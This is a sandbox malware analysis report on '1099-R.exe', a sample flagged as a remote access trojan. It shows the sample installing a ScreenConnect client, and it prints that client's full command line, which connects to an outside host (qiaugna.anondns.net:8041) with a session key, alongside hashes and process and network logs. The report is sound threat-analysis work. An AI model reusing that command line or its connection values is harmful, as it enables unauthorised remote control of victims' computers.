| File name: | 1099-R.exe |
| Full analysis: | https://app.any.run/tasks/e8fcb144-408e-4c6a-ad7e-355f34434031 |
| Verdict: | Malicious activity |
| Threats: | Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. |
| Analysis date: | April 17, 2025, 20:20:11 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections |
| MD5: | 116E2BEAE417BC2948921CEBD4705FD3 |
| SHA1: | DB9B2CE04DEAA4BC3F465663012D7257D50D25B1 |
| SHA256: | 77E47A064112AD07A20AFD0D415D6411DCC9A0F5A5B30046164557D7E07A6192 |
| SSDEEP: | 98304:JVJzzI0CPVRVUGOytH9awXB0DXe3S+5OmxlGwP3AW5JTGG0DR/W8DrRVlEbwux30:GDAGlpHh8xBXNw |
| .exe | | | Win64 Executable (generic) (76.4) |
|---|---|---|
| .exe | | | Win32 Executable (generic) (12.4) |
| .exe | | | Generic Win/DOS Executable (5.5) |
| .exe | | | DOS Executable Generic (5.5) |
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2022:11:18 20:10:20+00:00 |
| ImageFileCharacteristics: | Executable, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 14.33 |
| CodeSize: | 45568 |
| InitializedDataSize: | 5489664 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x14ad |
| OSVersion: | 5.1 |
| ImageVersion: | - |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 736 | C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding | C:\Windows\System32\rundll32.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2244 | C:\Windows\syswow64\MsiExec.exe -Embedding A2B4A63B03EBE8A6BF1E3CE575E0FAF9 E Global\MSI0000 | C:\Windows\SysWOW64\msiexec.exe | — | msiexec.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Exit code: 0 Version: 5.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4212 | "C:\WINDOWS\system32\taskmgr.exe" /4 | C:\Windows\System32\Taskmgr.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Task Manager Exit code: 3221226540 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5304 | "C:\WINDOWS\system32\taskmgr.exe" /4 | C:\Windows\System32\Taskmgr.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Task Manager Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5504 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | SrTasks.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5544 | C:\WINDOWS\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:11 | C:\Windows\System32\SrTasks.exe | — | msiexec.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft® Windows System Protection background tasks. Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6388 | C:\Windows\syswow64\MsiExec.exe -Embedding DA326DC3CC2EBF7D7C9FC173C8B94412 | C:\Windows\SysWOW64\msiexec.exe | — | msiexec.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows® installer Exit code: 0 Version: 5.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6592 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7352 | "C:\Program Files (x86)\ScreenConnect Client (830faaba335b9a3d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=qiaugna.anondns.net&p=8041&s=d82d3d87-ea85-44cf-b78e-2cd5a64d1a36&k=BgIAAACkAABSU0ExAAgAAAEAAQCVZAkMHvdv1Zj9d7rxRqUJ7Fek3do5SQkZCcMrYaFirhWPx%2bCZBdyq064AnZm2j58%2fMUi7iAgAECQsa6UZ%2bukNwxC2Be1WdC7LS5nQs9y86B4Qc51PMBlnVivGFCGv%2bjrpsPKO5FDzhMktdG2hN5C8qTNJa%2b0kJ%2f%2b2e55G708CVlDuIeydqJzyJ%2f%2bhp6LCz0TF1GEQJsru3DHsPWpOqePggS33O6Gg9wqsubnMX9rzmQPphBr3Z4v8dAzjxO0Q%2bs0%2ffLKK%2b66xrFrNZdXLEAkDEV4nyl%2b0ZcOyHRe0lkr0I2fm05SUkXWqRQ1g29WsXgjYMK%2fqo%2fgJPiKfWHFiWHSk" | C:\Program Files (x86)\ScreenConnect Client (830faaba335b9a3d)\ScreenConnect.ClientService.exe | services.exe | ||||||||||||
User: SYSTEM Integrity Level: SYSTEM Version: 24.4.4.9118 Modules
| |||||||||||||||
| 7356 | "C:\Users\admin\AppData\Local\Temp\1099-R.exe" | C:\Users\admin\AppData\Local\Temp\1099-R.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221226540 Modules
| |||||||||||||||
| (PID) Process: | (7704) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SystemRestore |
| Operation: | write | Name: | SrCreateRp (Enter) |
Value: 4800000000000000089D6D28D6AFDB01181E00001C1F0000D50700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (7704) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppGetSnapshots (Enter) |
Value: 4800000000000000089D6D28D6AFDB01181E00001C1F0000D20700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (7704) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppEnumGroups (Leave) |
Value: 480000000000000091EEF128D6AFDB01181E00001C1F0000D10700000100000000000000010000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (7704) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppCreate (Enter) |
Value: 48000000000000005252F428D6AFDB01181E00001C1F0000D00700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (7704) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppGetSnapshots (Leave) |
Value: 4800000000000000A24DEE28D6AFDB01181E00001C1F0000D20700000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (7704) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppEnumGroups (Enter) |
Value: 4800000000000000A24DEE28D6AFDB01181E00001C1F0000D10700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (7980) VSSVC.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer |
| Operation: | write | Name: | IDENTIFY (Leave) |
Value: 4800000000000000AB3F7C29D6AFDB012C1F0000481F0000E80300000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (7704) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SPP |
| Operation: | write | Name: | LastIndex |
Value: 11 | |||
| (PID) Process: | (7704) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppGatherWriterMetadata (Enter) |
Value: 480000000000000077056229D6AFDB01181E00001C1F0000D30700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (7704) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\VssapiPublisher |
| Operation: | write | Name: | IDENTIFY (Enter) |
Value: 4800000000000000C6686429D6AFDB01181E0000FC1F0000E8030000010000000000000000000000A2517B565C8F754B9930FC73FF4C64A300000000000000000000000000000000 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7420 | 1099-R.exe | C:\Users\admin\AppData\Local\Temp\ScreenConnect\24.4.4.9118\830faaba335b9a3d\ScreenConnect.ClientSetup.msi | — | |
MD5:— | SHA256:— | |||
| 7704 | msiexec.exe | C:\System Volume Information\SPP\metadata-2 | — | |
MD5:— | SHA256:— | |||
| 7704 | msiexec.exe | C:\Windows\Installer\1120d3.msi | — | |
MD5:— | SHA256:— | |||
| 7612 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\MSID498.tmp | executable | |
MD5:4ABAD4FD1A22BC922B457C28D1E40F1A | SHA256:DB51E4B70F27D0BF28789EA3345BF693035916461D22661C26F149C5BC8891ED | |||
| 7900 | rundll32.exe | C:\Users\admin\AppData\Local\Temp\MSID498.tmp-\Microsoft.Deployment.WindowsInstaller.dll | executable | |
MD5:5EF88919012E4A3D8A1E2955DC8C8D81 | SHA256:3E54286E348EBD3D70EAED8174CCA500455C3E098CDD1FCCB167BC43D93DB29D | |||
| 7900 | rundll32.exe | C:\Users\admin\AppData\Local\Temp\MSID498.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll | executable | |
MD5:A921A2B83B98F02D003D9139FA6BA3D8 | SHA256:548C551F6EBC5D829158A1E9AD1948D301D7C921906C3D8D6B6D69925FC624A1 | |||
| 7900 | rundll32.exe | C:\Users\admin\AppData\Local\Temp\MSID498.tmp-\ScreenConnect.Windows.dll | executable | |
MD5:7099C67FE850D902106C03D07BFB773B | SHA256:2659F660691D65628D2FCC3BFC334686CD053F162CDB73BF7A0DA0AC6449DB92 | |||
| 7900 | rundll32.exe | C:\Users\admin\AppData\Local\Temp\MSID498.tmp-\CustomAction.config | xml | |
MD5:6F52EBEA639FD7CEFCA18D9E5272463E | SHA256:7027B69AB6EBC9F3F7D2F6C800793FDE2A057B76010D8CFD831CF440371B2B23 | |||
| 7900 | rundll32.exe | C:\Users\admin\AppData\Local\Temp\MSID498.tmp-\Microsoft.Deployment.Compression.Cab.dll | executable | |
MD5:77BE59B3DDEF06F08CAA53F0911608A5 | SHA256:9D32032109FFC217B7DC49390BD01A067A49883843459356EBFB4D29BA696BF8 | |||
| 7704 | msiexec.exe | C:\Windows\Temp\~DF843227C3F69E9C69.TMP | binary | |
MD5:BF619EAC0CDF3F68D496EA9344137E8B | SHA256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.216.77.20:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
4892 | SIHClient.exe | GET | 200 | 2.16.253.202:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
2924 | SearchApp.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
4892 | SIHClient.exe | GET | 200 | 2.16.253.202:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2104 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.216.77.20:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2112 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3216 | svchost.exe | 172.211.123.249:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
6544 | svchost.exe | 40.126.32.140:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 2.17.190.73:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
2104 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
7352 | ScreenConnect.ClientService.exe | Potential Corporate Privacy Violation | REMOTE [ANY.RUN] ScreenConnect Server Response |